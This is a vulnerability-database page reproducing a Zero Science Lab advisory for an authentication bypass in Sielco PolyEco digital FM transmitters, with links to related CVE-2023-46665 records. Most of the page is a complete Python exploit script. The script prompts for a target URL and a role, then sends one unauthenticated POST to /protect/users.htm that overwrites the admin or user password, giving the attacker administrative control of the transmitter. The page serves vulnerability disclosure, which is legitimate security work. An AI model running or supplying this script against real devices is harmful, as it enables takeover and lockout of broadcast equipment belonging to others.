Lucene search
+L

Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit

🗓️ 10 Apr 2023 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 258 Views

Sielco PolyEco FM Transmitter 2.0.6 Authentication Bypass

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Sielco PolyEco1000 Access Control Privilege Escalation
1 Nov 202300:00
–bdu_fstec
circl
Circl
CVE-2023-46665
27 Oct 202300:18
–circl
cnnvd
CNNVD
Sielco PolyEco1000 Security Vulnerability
26 Oct 202300:00
–cnnvd
cve
CVE
CVE-2023-46665
26 Oct 202320:08
–cve
cvelist
Cvelist
CVE-2023-46665 Improper Access Control in Sielco PolyEco1000
26 Oct 202320:08
–cvelist
euvd
EUVD
EUVD-2023-50856
3 Oct 202520:07
–euvd
ics
ICS
Sielco PolyEco FM Transmitter
26 Oct 202306:00
–ics
nvd
NVD
CVE-2023-46665
26 Oct 202321:15
–nvd
osv_cve
osv_cve
CVE-2023-46665
26 Oct 202321:15
–osv_cve
prion
Prion
Authentication flaw
26 Oct 202321:15
–prion
Rows per page
<html><body><p>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
#
#
# Vendor: Sielco S.r.l
# Product web page: https://www.sielco.org
# Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
#                   PolyEco1000 CPU:1.9.4 FPGA:10.19
#                   PolyEco1000 CPU:1.9.3 FPGA:10.19
#                   PolyEco500 CPU:1.7.0 FPGA:10.16
#                   PolyEco300 CPU:2.0.2 FPGA:10.19
#                   PolyEco300 CPU:2.0.0 FPGA:10.19
#
# Summary: PolyEco is the innovative family of high-end digital
# FM transmitters of Sielco. They are especially suited as high
# performance power system exciters or compact low-mid power
# transmitters. The same cabinet may in fact be fitted with 50,
# 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
# 1000).
#
# All features can be controlled via the large touch-screen display
# 4.3" or remotely. Many advanced features are inside by default
# in the basic version such as: stereo and RDS encoder, audio
# change-over, remote-control via LAN and SNMP, "FFT" spectral
# analysis of the audio sources, SFN synchronization and much more.
#
# Desc: The application suffers from an authentication bypass and
# account takeover/lockout vulnerability that can be triggered by
# directly calling the users object and effectively modifying the
# password of the two constants user/role (user/admin). This can
# be exploited by an unauthenticated adversary by issuing a single
# POST request to the vulnerable endpoint and gain unauthorized
# access to the affected device with administrative privileges.
#
# Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5769
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5769.php
#
#
# 26.01.2023
#
#


import requests
print( '''
                .-  _           _  -.
               /   /             \\   \\
              (   (  (` (-o-) `)  )   )
               \   \_ `  -+-  ` _/   /
                `-       -+-       -`
                         -+-
                         -+-
                         -+-
                         -+-
                         -+-
                         -+-
                        /   \\
  *****************************************************
     ! Sielco PolyEco Authentication Bypass Script !
  *****************************************************

  Please note that this script is for educational and
  ethical purposes only. Using it for unauthorized
  access or malicious activities is strictly prohibited
  and can have serious legal and ethical consequences.
  The responsibility of using this script in a lawful
  and ethical manner lies solely with the user. The
  author or creator of this script shall not be held
  responsible for any unlawful or unethical activities
  performed by the users.
''' )
url = input( '  Enter the URL (e.g. http://host:8090): ' )
if not 'http' in url :
    url = 'http://{}'.format( url )
user = input( '  Enter the desired role (e.g. user or admin): ')
if user not in [ 'user', 'admin' ] :
    exit( '  Only \'user\' or \'admin\' please.' )
password = input( '  Enter the desired password: ' )
end = '/protect/users.htm'
payload = {}
if user == "user" : 
    payload[ 'pwd_admin' ] = ''
    payload[ 'pwd_user' ]  = password
elif user == 'admin' :
    payload[ 'pwd_admin' ] = password
    payload[ 'pwd_user' ]  = ''
r = requests.post( url + end, data = payload )
if r.status_code == 200 :
    print( '\n  MSG: OK.' )
else:
    print( '\n  MSG: ERROR!' )
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation